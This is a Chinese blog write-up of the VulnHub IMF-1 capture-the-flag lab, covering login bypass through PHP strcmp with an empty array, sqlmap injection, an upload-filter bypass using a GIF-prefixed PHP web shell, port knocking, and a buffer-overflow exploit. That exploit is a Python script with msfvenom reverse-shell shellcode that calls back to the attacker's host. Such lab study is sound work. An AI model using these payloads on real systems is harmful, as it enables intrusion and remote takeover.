【vulnhub】IMF-1(sql注入,上傳繞過(guò),文件解析漏洞,緩沖區(qū)溢出)

寫(xiě)在前面

image.png

看作者描述,這臺(tái)靶機(jī)每個(gè)flag都有通向下個(gè)flag的提示,因此要多思考作者留下的線索。

信息收集

探測(cè)靶機(jī)IPnetdiiscover

image.png

確定靶機(jī)IP為:192.168.1.107

查看靶機(jī)開(kāi)啟服務(wù):nmap -sS -sV -T5 192.168.1.107

image.png

發(fā)現(xiàn)只開(kāi)啟了http服務(wù)

枚舉

打開(kāi)首頁(yè)是這樣子的


image.png

只有三個(gè)頁(yè)面,逐個(gè)頁(yè)面查看網(wǎng)頁(yè)源代碼,在contact.php里發(fā)現(xiàn)flag1


image.png

找到flag1{YWxsdGhlZmlsZXM=}
flag里面的值看起來(lái)像是base64,解出來(lái)一看,發(fā)現(xiàn)真的是base64加密,解密為:
allthefiles

直譯就是全部文件,到底是什么意思,也糾結(jié)了挺久,后來(lái)繼續(xù)查看網(wǎng)頁(yè)源代碼,發(fā)現(xiàn)這三個(gè)文件的名字有點(diǎn)可疑

image.png

文件名字看上去都是密文,拼接到一起后的完整密文為:
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
base64解密后:
image.png

找到flag2{aW1mYWRtaW5pc3RyYXRvcg==}
flag2里面的值,解密以后是字符串:imfadministrator
看上去像是一個(gè)目錄,瀏覽器打開(kāi)為:
image.png

看上去像是需要爆破這個(gè)登錄信息。

隨便輸入admin:123456,提示了兩個(gè)信息


image.png

invalid username,直接告訴我們用戶名是錯(cuò)誤的,也就是說(shuō)我們可以先爆破看看有什么用戶名
I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger
hard-coded the password就是把密碼直接寫(xiě)在了代碼里,不經(jīng)過(guò)數(shù)據(jù)庫(kù),也就是說(shuō)不用考慮sql注入

關(guān)于用戶名,在contact.php這個(gè)頁(yè)面里已經(jīng)給出了幾個(gè)待選的賬號(hào)


image.png

這里我們至少可以做一個(gè)用戶字典,包括:
Roger S. Michaels
rmichaels@imf.local
rmichaels
Alexander B. Keith
akeith@imf.local
akeith
Elizabeth R. Stone
estone@imf.local
estone
由于字典數(shù)目不多,我們大可手動(dòng)測(cè)試,最后測(cè)試rmichaels這個(gè)用戶名返回的值跟其他幾個(gè)賬號(hào)都不一樣


image.png

現(xiàn)在我們可以確定這個(gè)后臺(tái)的一個(gè)賬號(hào)為:rmichaels
一般這種時(shí)候就用burpsuite了,事實(shí)上我一開(kāi)始也是這個(gè)思路,爆破了一個(gè)多小時(shí)以后,我依然沒(méi)有得到密碼,這個(gè)時(shí)候我就想會(huì)不會(huì)思路錯(cuò)了。一般而言,這些靶機(jī)如果想考你爆破,常規(guī)字典最多十幾分鐘就能跑出來(lái)了,跑這么久密碼還沒(méi)出來(lái)那應(yīng)該不是考爆破。吐槽一下,打靶機(jī)以來(lái)我就沒(méi)用過(guò)burpsuite成功爆破過(guò)后臺(tái)的。。。

這里我卡了蠻久,后來(lái)還是看了大佬的提示,原來(lái)pass字段傳一個(gè)空數(shù)組能爆出flag3


image.png

我他媽。。。

找到flag3{Y29udGludWVUT2Ntcw==}

解出來(lái)是:continueTOcms

回到頁(yè)面繼續(xù)cms操作,點(diǎn)擊IMF CMS


image.png

進(jìn)去發(fā)現(xiàn)只有三個(gè)頁(yè)面,查看源碼沒(méi)發(fā)現(xiàn)有什么特別的東西,于是嘗試修改get參數(shù),發(fā)現(xiàn)好像有注入點(diǎn)


image.png

把burpsuite里的http訪問(wèn)內(nèi)容保存成一個(gè)文件


image.png

用sqlmap嘗試注入,發(fā)現(xiàn)果然可以注入
sqlmap -r imf.txt -p "pagename" --dbms=mysql --batch --level=3 --risk=3 --random-agent

image.png

打開(kāi)admin數(shù)據(jù)庫(kù)里的pages表,發(fā)現(xiàn)一個(gè)可疑的文件
sqlmap -r imf.txt -p "pagename" --dbms=mysql --batch --random-agent --technique B -D admin -T pages --dump

image.png

打開(kāi)這個(gè)圖片的鏈接,發(fā)現(xiàn)是一個(gè)二維碼,簡(jiǎn)書(shū)不可以貼二維碼,就不貼圖了
路徑:http://192.168.1.107/imfadministrator/images/whiteboard.jpg
用手機(jī)微信掃一下,得到flag4

找到flag4{dXBsb2Fkcjk0Mi5waHA=}、

密文解出來(lái)是:uploadr942.php

在url打開(kāi)這個(gè)文件,發(fā)現(xiàn)一個(gè)上傳點(diǎn):


image.png

嘗試上傳一個(gè)圖片文件,發(fā)現(xiàn)回顯了一個(gè)字符串


image.png

經(jīng)過(guò)驗(yàn)證是上傳后的文件名


image.png

到這里思路就很明顯了,上傳一個(gè)webshell,繞過(guò)上傳驗(yàn)證即可。(uploads這個(gè)文件夾可通過(guò)目錄爆破得到,或者自己猜出來(lái),這里不贅敘)

燃鵝,這個(gè)上傳限制,不但限制了文件類(lèi)型,文件后綴還有一個(gè)waf會(huì)檢測(cè)文件的內(nèi)容是否有特殊的php函數(shù),比較坑爹。這里還是要參考大佬的繞過(guò)方法,這個(gè)方法我在upload lab里沒(méi)有遇到過(guò),算是邊學(xué)邊練了。

構(gòu)造一個(gè)文件:

GIF
<?php
$c = $_GET[c];
echo `$c`;
?>

image.png

第一行的GIF是為了繞過(guò)內(nèi)容限制
然后把文件名字改成.gif結(jié)尾,就可以像php文件一樣執(zhí)行,我猜這應(yīng)該是利用了apache的某個(gè)文件解析漏洞?
上傳以后根據(jù)回顯的文件名,在url里訪問(wèn):


image.png

c后面的參數(shù)可以執(zhí)行任意命令,遍歷uploads里面的文件,拿到flag5


image.png

找到flag5{YWdlbnRzZXJ2aWNlcw==}

flag5解出來(lái)是:agentservices

雖然可以在url上直接運(yùn)行命令,但是還是比較難使用的,我們需要有一個(gè)webshell,可以用weevely生成一個(gè)

weevely generate pass shell.php
pass是連接的密碼,shell.php是生成的木馬文件名字。由于靶機(jī)只能接收jpg/png/gif等格式的文件上傳,所以我們這里需要把生成的木馬文件改為gif后綴,以及在第一行添加GIF字樣以繞過(guò)靶機(jī)的文件內(nèi)容限制。

image.png

上傳完成,拿到生成的文件名字,用weevely連接靶機(jī)
weevely http://192.168.3.150/imfadministrator/uploads/da380a0441c6.gif pass
上面的命令第一個(gè)參數(shù)是木馬地址,第二個(gè)參數(shù)是連接密碼,我們拿到一個(gè)webshell

image.png

因?yàn)閒lag5提示我們留意agentservice服務(wù),用netstat -ant查看本機(jī)服務(wù)

image.png

可以看到本地監(jiān)聽(tīng)了一個(gè)7788端口,應(yīng)該就是對(duì)應(yīng)的agent服務(wù)
我們用whereis agent查看agent安裝在哪個(gè)位置
image.png

去到/usr/local/bin/目錄,發(fā)現(xiàn)有兩個(gè)文件,查看access_code,顯示SYN 7482,8279,9467
image.png

上面信息收集的時(shí)候用nmap沒(méi)有探測(cè)到7788這個(gè)端口,需要用konck敲開(kāi)
image.png

把靶機(jī)上的agent文件下載到本地,執(zhí)行
file_download /usr/local/bin/agent /root/agent
file命令查看文件,確認(rèn)agent是ELF32位文件,這一步主要是下面生成shellcode的時(shí)候需要知道靶機(jī)是x86還是x64

image.png

給agent文件提權(quán),嘗試執(zhí)行


image.png

提示Invalid Agent ID,那么也就是需要找到一個(gè)正確的Agent ID

用ltrace命令跟蹤進(jìn)程調(diào)用庫(kù)函數(shù),fgets函數(shù)輸入任意值(可試多幾次),每次均顯示strncmp("任意值\n", "48093572", 8)這行代碼,看意思應(yīng)該是拿我們的輸入跟48093572這個(gè)值比對(duì),如果不正確就返回Invalid Agent ID。那么也就是說(shuō)48093572就是我們需要的agentid


image.png

用得到的agentid嘗試執(zhí)行agent程序,果然返回了操作menu


image.png

這里其實(shí)考察的是緩沖區(qū)溢出,我們用msfvenom來(lái)編譯一個(gè)shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.3.67 LPORT=6666 -f python -b "\x00\x0a\x0b"

image.png

把上面顯示的buf復(fù)制粘貼到下面的python代碼中:

import socket
 
# Target related variables
remotehost = "192.168.3.150"
remoteport = 7788
menuoption = 3
agentid = 48093572
 
# Default recv size
recvsize = 512
 
# Connnect to remote host
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((remotehost, remoteport))
client.recv(recvsize)
client.send("{0}\n".format(agentid))
client.recv(recvsize)
client.send("{0}\n".format(menuoption))
client.recv(recvsize)
 
# Payload genereated by Msfvenom, to be force fed into reporting tool
buf =  b""
buf += b"\xd9\xc8\xd9\x74\x24\xf4\x5f\xbb\xdd\x1b\x6a\x46\x29"
buf += b"\xc9\xb1\x12\x83\xef\xfc\x31\x5f\x13\x03\x82\x08\x88"
buf += b"\xb3\x0d\xf4\xbb\xdf\x3e\x49\x17\x4a\xc2\xc4\x76\x3a"
buf += b"\xa4\x1b\xf8\xa8\x71\x14\xc6\x03\x01\x1d\x40\x65\x69"
buf += b"\x5e\x1a\x96\x2a\x36\x59\x99\xb6\xcc\xd4\x78\x76\xb6"
buf += b"\xb6\x2b\x25\x84\x34\x45\x28\x27\xba\x07\xc2\xd6\x94"
buf += b"\xd4\x7a\x4f\xc4\x35\x18\xe6\x93\xa9\x8e\xab\x2a\xcc"
buf += b"\x9e\x47\xe0\x8f"
 
# Buffer is too small to trigger overflow. Fattening it up!
# 168 is the offset I found using pattern_offset
buf += "A" * (168 - len(buf))
 
# EAX call I made note of earlier in this segment
buf += "\x63\x85\x04\x08\n"
 
# And off we go!
client.send(buf)

在kali開(kāi)啟一個(gè)監(jiān)聽(tīng),輸入:nc -lvp 6666
執(zhí)行上面的python代碼,成功得到一個(gè)root shell

image.png

拿到flag6{R2gwc3RQcm90MGMwbHM=}

總結(jié)

非常精彩的靶機(jī),涵蓋了很多知識(shí)點(diǎn),難怪作者希望做的人能過(guò)learn something。
我目前還沒(méi)有學(xué)到緩沖區(qū)溢出,這臺(tái)算是找了找感覺(jué),后面要好好學(xué)習(xí)一下這塊。
上傳限制繞過(guò)那里應(yīng)該是利用apache的文件解析漏洞,如果我理解錯(cuò)了,請(qǐng)不吝賜教。
后面回查了上傳限制的代碼,果然用了白名單,那當(dāng)然比黑名單限制就安全的多,下次再遇到這種情況,可以參考文件解析這個(gè)思路。。。


image.png

關(guān)于爆破密碼,回看了靶機(jī)的源代碼,密碼設(shè)置的非常的長(zhǎng),可以說(shuō)是不可能被爆破
每一次請(qǐng)求都sleep了3秒,注釋也是說(shuō)不要嘗試爆破。下次如果十幾分鐘還沒(méi)爆出密碼來(lái)趕緊換思路。。。。
在密碼比較判斷的時(shí)候,用了strcmp函數(shù),strcmp的方法是比較傳入的兩個(gè)字符串,第一個(gè)參數(shù)是源串,第二個(gè)參數(shù)是比較的字符串,如果相等則返回0。然而這是理想的結(jié)果,由于php是弱類(lèi)型語(yǔ)言,而傳進(jìn)來(lái)的pass也沒(méi)有任何的校驗(yàn),當(dāng)pass的值是一個(gè)空數(shù)組時(shí)依然會(huì)返回比對(duì)成功,也算是php的一個(gè)坑。


image.png
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容